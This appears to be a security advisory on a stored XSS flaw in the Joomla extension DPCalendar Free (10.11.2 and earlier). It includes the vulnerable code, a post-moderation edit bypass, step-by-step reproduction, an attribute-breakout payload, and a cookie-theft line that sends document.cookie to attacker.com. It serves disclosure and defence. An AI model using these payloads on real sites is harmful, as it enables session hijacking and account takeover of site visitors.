
Stored XSS via Location Title in DPCalendar Free
DPCalendar Free ≤ 10.11.2 — Author-Role User Bypasses Content Review to Inject Persistent XSS via Location Title, Triggered on Hover by Any Visitor
The $location->title field is rendered without htmlspecialchars() in default_locations.php. Joomla's server-side InputFilter::clean() strips < and from string fields but permits , allowing an Author-role user to break out of an HTML attribute context. When any visitor hovers over the Location information section of an event page, the injected handler executes arbitrary JavaScript in their browser session.
>"onmouseoverA second design flaw amplifies the impact: EventController::allowEdit() checks only created_by == current_user — it does not check event publication state. An Author can create a benign event, have an administrator publish it, and then silently weaponize the linked location by editing its title after publication, bypassing content review entirely. The XSS payload is inserted after moderation; administrators never see it during their review cycle.
| COMPONENT | VULNERABLE | TESTED ON | FIXED |
|---|---|---|---|
| DPCalendar Free | ≤ 10.11.2 | Joomla 6.1.2 + DPCalendar Free 10.11.2 (PHP 8.3 / Apache) | 10.12.0 |
Type: Stored Cross-Site Scripting / Improper Output Encoding (CWE-79)
Authentication required: Author role — frontend user (Joomla group 4, minimum to create events)
File: site/tmpl/event/default_locations.php
$location->title is echoed directly — without htmlspecialchars() — in two output contexts in default_locations.php. The attribute context is the exploitable sink via the web UI, as Joomla's InputFilter blocks <> but passes " through unaltered.
DEFAULT_LOCATIONS.PHP — VULNERABLE OUTPUT SINKS
// Sink 1 — text content (HTML injection; <> stripped by InputFilter via web UI)
<span class="dp-location__title"><?php echo $location->title; ?></span>
// Sink 2 — HTML attribute (attribute injection; " passes through InputFilter)
<div class="dp-location__details"
data-title="<?php echo $location->title; ?>"
A title value of New Location" onmouseover="alert(document.domain) is stored intact by the server. On output, Sink 2 renders as:
<div class="dp-location__details"
data-title="New Location" onmouseover="alert(document.domain)"
The onmouseover attribute becomes a live event handler in the rendered DOM.
EventController::allowEdit() grants edit access to any Author for their own events regardless of publication state. An attacker establishes trust by submitting a normal event for admin review, then — after publication by admin — silently edits the linked location to inject the XSS payload:
SITE/SRC/CONTROLLER/EVENTCONTROLLER.PHP — ALLOWEDIT() MISSING STATE CHECK
protected function allowEdit($data = [], $key = 'id')
{
// ...
return $calendar instanceof CalendarInterface &&
($calendar->canEdit() ||
($calendar->canEditOwn() &&
$event->created_by == $this->getCurrentUser()->id));
// ↑ No check on $event->state — published events remain editable by Author
}
Navigate to the frontend login form and log in with an Author account (Joomla group 4 — minimum required to create events and locations).

Navigate to /index.php?option=com_dpcalendar&view=form. Create an event with a clean title and attach any existing location (e.g. "Greater London"). This establishes the Author's legitimacy before the payload is introduced.


The event is submitted for review. An administrator logs in and publishes it from the DPCalendar backend. The event is now live and visible to all site visitors.

As the Author, navigate to the published event page. The Edit Event button remains visible — allowEdit() does not check publication state. Click Edit Event, go to the Location tab, and click the pencil icon to open locationform.

Replace the location name with the payload. Joomla's InputFilter passes " through — the payload saves intact and breaks the HTML attribute context on output:
PAYLOAD — TITLE FIELD (LOCATIONFORM)
New Location" onmouseover="alert(document.domain)

Click Save.
When any user — authenticated or anonymous — visits the event detail page and moves their cursor over the Location information section, the injected onmouseover handler fires immediately. No authentication, no click, and no further interaction is required beyond visiting the page.

The raw payload is visible in the Location section of the event page — the unescaped title is rendered as a live HTML attribute:

Hovering over the Location section fires the alert dialog in the anonymous visitor's browser:

Session hijacking — The injected handler can exfiltrate the victim's session cookie via fetch('//attacker.com/?c='+document.cookie), granting full account takeover for any role that views the event.
Persistent, event-scoped attack surface — The payload persists until the location title is manually corrected. Every user who visits the event page — including anonymous visitors — is exposed. High-traffic events (public conferences, booking pages) multiply the victim count.
Post-publication trust bypass — Because the Author can silently modify the location after admin approval, the payload is never seen during content review. The benign event passes moderation; the XSS is inserted afterwards.